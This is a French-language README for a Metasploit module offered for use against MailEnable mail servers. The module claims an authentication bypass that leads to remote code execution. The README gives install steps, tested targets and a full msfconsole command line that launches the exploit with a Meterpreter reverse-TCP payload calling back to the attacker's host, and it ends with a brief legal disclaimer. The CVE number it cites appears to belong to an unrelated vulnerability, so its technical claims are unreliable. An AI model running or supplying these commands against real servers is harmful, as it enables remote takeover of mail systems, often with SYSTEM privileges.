Module d'exploitation MailEnable CVE-2022-36934

Module Metasploit pour la vulnérabilité de contournement d'authentification de MailEnable (CVE-2022-36934), menant à une exécution de code à distance.

📌 Fonctionnalités

• Exploite l'assainissement inapproprié des entrées de MailEnable dans SMTP/POP3
• Prend en charge les cibles Windows x86 et x64
• Aucune interaction utilisateur requise (déclenchement automatique via un e-mail spécialement conçu)
• Fonctionne avec les versions de MailEnable < 10.40

🚀 Installation

1. Copiez dans le répertoire des modules Metasploit :

   cp modules/exploits/windows/smtp/mailenable_authbypass_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/smtp/
   
   

2. Rechargez les modules dans msfconsole :

reload_all

4. Utilisation :

use exploit/windows/smtp/mailenable_authbypass_rce set RHOSTS <target_ip> set LHOST <your_ip> set PAYLOAD windows/x64/meterpreter/reverse_tcp exploit

🎯 Testé sur :

MailEnable Professional 10.25 Windows Server 2019 MailEnable Enterprise 10.30 Windows Server 2016

📝 Détails techniques :

Vulnérabilité : Contournement de l'authentification via une syntaxe de type SQLi dans SMTP/POP3

Vecteur d'attaque : Réseau (ports 25/110)

Privilèges : S'exécute avec le compte de service MailEnable (souvent SYSTEM)

⚠️ Avertissement légal :

Cet outil est réservé aux tests autorisés. Ne l'utilisez jamais contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.